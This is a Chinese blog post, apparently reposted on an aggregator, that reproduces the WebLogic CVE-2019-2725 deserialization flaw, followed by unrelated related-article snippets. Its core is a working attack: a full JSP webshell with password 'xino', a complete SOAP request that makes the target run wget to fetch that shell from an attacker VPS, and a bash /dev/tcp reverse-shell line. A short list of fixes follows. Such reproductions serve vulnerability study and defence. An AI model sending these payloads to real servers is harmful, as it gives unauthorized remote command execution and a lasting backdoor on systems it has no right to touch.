CVE-2019-2725漏洞复现

news2024/11/16 21:34:55

前言

在学习内网过程中遇到了weblogic比较常见的漏洞,编号是cve-2019-2725,之前没有总结过,于是本篇文章给大家总结归纳一下该漏洞的利用方法与原理。

基础知识

cve-2019-2725漏洞的核心利用点是weblogic的xmldecoder反序列化漏洞,攻击步骤就是将WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,在未授权的情况下远程执行命令,获得目标服务器的权限。影响版本如下:

Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0 

该漏洞经常作为打进内网的漏洞点,还是挺重要的,下面给大家讲解如何利用该漏洞来进行getshell。

利用过程

扫描端口扫描到了7001端口开放,于是我们先访问一下7001端口:

可以看到有weblogic的错报信息,说明网站有weblogic服务,于是我们判断有没有该漏洞,当我们访问有weblogic服务网站的时候可以访问以下路径:

_async/AsyncResponseService 

发现回显页面如下:

发包返回了200,说明存在该漏洞,或者访问:

_async 

存在以下页面说明存在漏洞:

已经得知存在cve-2019-2725漏洞后,我们便可以开始构造攻击。

我们需要构造一个JSP木马,可以查看下面的例子,木马的连接密码为xino:

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}
 public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("xino");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%> 

写完木马后我们需要将该木马放入我们的出网服务器里,需要注意的是服务器需要拥有web服务,因为之后会用wget命令来下载木马,之后我们查询我们要将木马上传到什么路径上去,访问如下地址:

/_async/AsyncResponseService?info 

找到了上传路径为:

/servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/ 

之后我们需要构造表单来将木马上传到该路径里,可以参考下面的攻击代码:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget https://vps/xino.jsp -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/xino.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope> 

之后我们就可以利用webshell管理工具去进行连接即可,当然这只是一种利用类型,我们还可以直接反弹shell到服务器,需要将string里的内容改为如下代码:

bash -i >& /dev/tcp/target ip/target port 0>&1 

当发包后服务器返回下图,可以判断我们攻击成功:

漏扫工具

可能有朋友会问,weblogic这么多漏洞要怎样判断属于哪个漏洞呢,这里推荐一个weblogic中间件漏洞扫描工具weblogic-scan,下载链接如下:

github.com/dr0op/Weblo…

安装依赖:

python -m pip install -r requirements.txt 

使用样例:

python WeblogicScan.py -u 127.0.0.1 -p 7001 

扫描后发现:

可以看到该工具还是十分好用的,可以作为我们渗透时判断漏洞类型的快速方法,有兴趣的小伙伴可以自己下载去试一试。

修复方法

该漏洞的危害是不言而喻的,下面提出几个修复的方法:

1.可以去官方下载该漏洞的补丁包

2.升级JAVA版本到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。

3.修改访问控制策略,限制对/_async/及/wls-wsat/路径的访问,这样就上传不了攻击木马了。

4.删除wls9_async_response.war与wls-wsat.war文件及相关数据,因为该漏洞由WAR包的缺陷引起,删除可以缓解,不过需要备份一下。

结语

简单分析了一下cve-2019-2725漏洞的原理以及攻击修复方法,因为之前没有总结所以特地写一个文章总结一下,如果对大家有帮助不妨一键三连支持一下。

最后

最近还整理一份JavaScript与ES的笔记,一共25个重要的知识点,对每个知识点都进行了讲解和分析。能帮你快速掌握JavaScript与ES的相关知识,提升工作效率。



有需要的小伙伴,可以点击下方卡片领取,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/137997.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot学习超详细 第三 实用开发篇

目录 一、启动热部署 二、配置高级 三、常用 计量单位 四、开启数据校验 五、测试 第一种web环境测试 第二种web环境测试 ​编辑 第三种web环境测试 第四种web环境测试 第五种web环境测试 六、数据层解决方案 1、SQL 七、NoSQL&#xff08;redis&#xff09; 1、Red…

ArcMap制图相关问题

ArcMap是一款我们常用的GIS桌面端应用&#xff0c;在完成一系列空间分析任务后&#xff0c;我们通常会选择用专题图来呈现结果。今天&#xff0c;我们就来聊一聊有关ArcMap成图的一些问题。注&#xff1a;此处演示使用版本为ArcGIS10.4.1如何实现“一幅多图”在绘制研究区区位图…

AC7811-PWDT脉冲宽度检测

PWDT是Pulse Width Detect Timer&#xff08;脉冲宽度检测定时器&#xff09;缩写。可作为测量脉冲宽度的工具或作为16位定时器。 功能 检测脉冲宽度 可编程起始测量触发沿 支持 3 个霍尔传感器的信号输入测量 支持来自模拟比较器的 3 个输入 定时器 在禁用定时器或在正…

【JavaScript】DOM 操作元素样式和元素类名

文章目录【JavaScript】DOM 操作元素样式和元素类名一. 操作元素样式(1)操作行内元素1. 获取元素的样式2. 设置元素的样式(2) 操作非行内元素和行内元素1. 获取元素的样式二. 操作元素类名(1) className1. 获取元素的类名2. 设置元素的类名3. 追加元素的类名(2) classList1. 获…

【谷粒商城基础篇】项目简介与分布式概念

谷粒商城笔记合集 分布式基础篇分布式高级篇高可用集群篇简介&环境搭建项目简介与分布式概念&#xff08;第一、二章&#xff09;基础环境搭建&#xff08;第三章&#xff09;整合SpringCloud整合SpringCloud、SpringCloud alibaba&#xff08;第四、五章&#xff09;前端知…

如何使用WebRTC建立一个视频会议App(二)

如何使用WebRTC建立一个视频会议App(一)_音视频开发老马的博客-CSDN博客 服务器接收到‘’准备好了‘’的信息并通过发送同样信息通知第一个参与者。这就开始了被称作发信的交换信息过程&#xff0c;因此我们需要添加相应的handlers到client.js文件中。 当第一个参与者接收到准…

BGP在数据中心的应用3——构建自动化的BGP配置

注&#xff1a; 本文根据《BGP in the Datacenter》整理&#xff0c;有兴趣和英文阅读能力的朋友可以直接看原文&#xff1a;https://www.oreilly.com/library/view/bgp-in-the/9781491983416/上一部分笔记请参考&#xff1a;https://blog.csdn.net/tushanpeipei/article/deta…

【回答问题】ChatGPT上线了!推荐20个姿态估计深度学习模型

推荐20个姿态估计深度学习模型 好的&#xff0c;这里是 20 个深度学习模型用于姿态估计的推荐&#xff1a; 2D/3D Convolutional Neural Networks Recurrent Neural Networks Self-supervised Learning Generative Adversarial Networks Attention-based Networks Graph Neur…

git add .卡住不动

问题描述 代码修改完了准备上传到github&#xff0c;使用 git add . 命令发现一直卡住不动了。没办法只能强行退出&#xff0c;如下图所示。 解决办法 研究了一番&#xff0c;发现了这类问题的套路&#xff0c;在此给大家提供一个debug的思路。 首先需要知道&#xff0c;git a…

保姆级手把手图文并茂教你配置MAC系统Flutter环境

Flutter 是什么 Flutter是Google开源的构建用户界面&#xff08;UI&#xff09;工具包&#xff0c;帮助开发者通过一套代码库高效构建多平台精美应用&#xff0c;支持移动、Web、桌面和嵌入式平台。Flutter 开源、免费&#xff0c;拥有宽松的开源协议&#xff0c;适合商业项目…

返回一个数组中所有元素的小数部分、整数部分为两个数组 numpy.modf()

【小白从小学Python、C、Java】 【计算机等级考试500强双证书】 【Python-数据分析】 返回一个数组中所有元素的 小数部分、整数部分 为两个数组 numpy.modf() [太阳]选择题 关于以下python代码表述错误的一项是? import numpy as np anp.array([-0.5,1,1.5]) print…

《对线面试官》| 高频计算机网络面试题

目录1、说说 OSI 七层模型和 TCP/IP 四层模型的关系和区别2、说说 TCP 与 UDP 的区别3、TCP 是如何实现数据的可靠性&#xff1f;4、 TCP 协议如何提高传输效率&#xff1f;5、你知道 TCP 如何处理拥塞吗&#xff1f;6、为什么 TCP 链接需要三次握手&#xff0c;两次不可以么&a…

小程序后台数据交互-个人中心

目录 一&#xff0c;获取用户昵称和头像 登录过程 二&#xff0c;登录-小程序 三&#xff0c;后台 小程序服器配置 一&#xff0c;获取用户昵称和头像 登录过程 小程序登录 小程序可以通过微信官方提供的登录能力方便地获取微信提供的用户身份标识&#xff0c;快速建立小…

SOFARegistry | 聊一聊服务发现的数据一致性

文&#xff5c;肖健&#xff08;花名&#xff1a;昱恒&#xff09;蚂蚁集团技术专家专注于服务发现领域&#xff0c;目前主要从事蚂蚁注册中心 SOFARegistry 设计、研发工作。本文 9492 字 阅读 24 分钟PART. 1前言1.1 什么是服务发现在微服务的体系中&#xff0c;多个应用程序…

Hydra(九头蛇)工具使用

Hydra工具使用1.Hydra简介1.1.Hydra介绍1.2.Hydra支持协议1.3.Hydra下载2.Hydra使用2.1.Hydra基本使用方式2.2.Hydra常用参数2.3.Hydra注意事项2.4.Kail字典2.5.Hydra密码生成器3.Hydra案例3.1.创建账号密码文件3.2.SSH协议爆破3.2.1.靶机信息3.2.2.开始爆破3.2.2.1.不知账号3.…

C#语言实例源码系列-游戏-实现华容道

专栏分享点击跳转>Unity3D特效百例点击跳转>案例项目实战源码点击跳转>游戏脚本-辅助自动化点击跳转>Android控件全解手册 &#x1f449;关于作者 众所周知&#xff0c;人生是一个漫长的流程&#xff0c;不断克服困难&#xff0c;不断反思前进的过程。在这个过程中…

Rust个人学习之聊聊Rust的变量

今天看了Rust的变量相关内容&#xff0c;Rust变量很重要的一个设计点是: Rust变量默认是不可变的。 很难理解? 我们接下来一起研究一下Rust的变量&#xff0c; 在Rust中变量是通过关键字let进行声明的 let x 5; 上述语句就是定义了一个名称为x的变量&#xff0c;变量的值为…

修改esp idf hello_world_main.c,验证Strategy 策略基类。出现一个问题,加以解决

修改esp32 idf hello_world_main.c&#xff0c;验证Strategy 策略基类。出现几个问题&#xff0c;加以解决&#xff1a; 错误&#xff1a; …/main/hello_world_main.cpp: In function ‘void test01()’: …/main/hello_world_main.cpp:77:12: error: deleting object of ab…

入门力扣自学笔记228 C++ (题目编号:2042)

2042. 检查句子中的数字是否递增题目&#xff1a;句子是由若干 token 组成的一个列表&#xff0c;token 间用 单个 空格分隔&#xff0c;句子没有前导或尾随空格。每个 token 要么是一个由数字 0-9 组成的不含前导零的 正整数 &#xff0c;要么是一个由小写英文字母组成的 单词…

很好用的gRPC和WebSocket调试工具Apipost!强烈推荐

随着软件开发行业的发展&#xff0c;越来越多的公司和开发人员在工作中会涉及到gRPC和WebSocket等接口类型&#xff0c;但是目前市面上能支持这种接口的调试工具却几乎没有&#xff0c;国外的工具大都晦涩难懂&#xff0c;不符合我们的开发习惯&#xff0c;很难上手使用。 经过…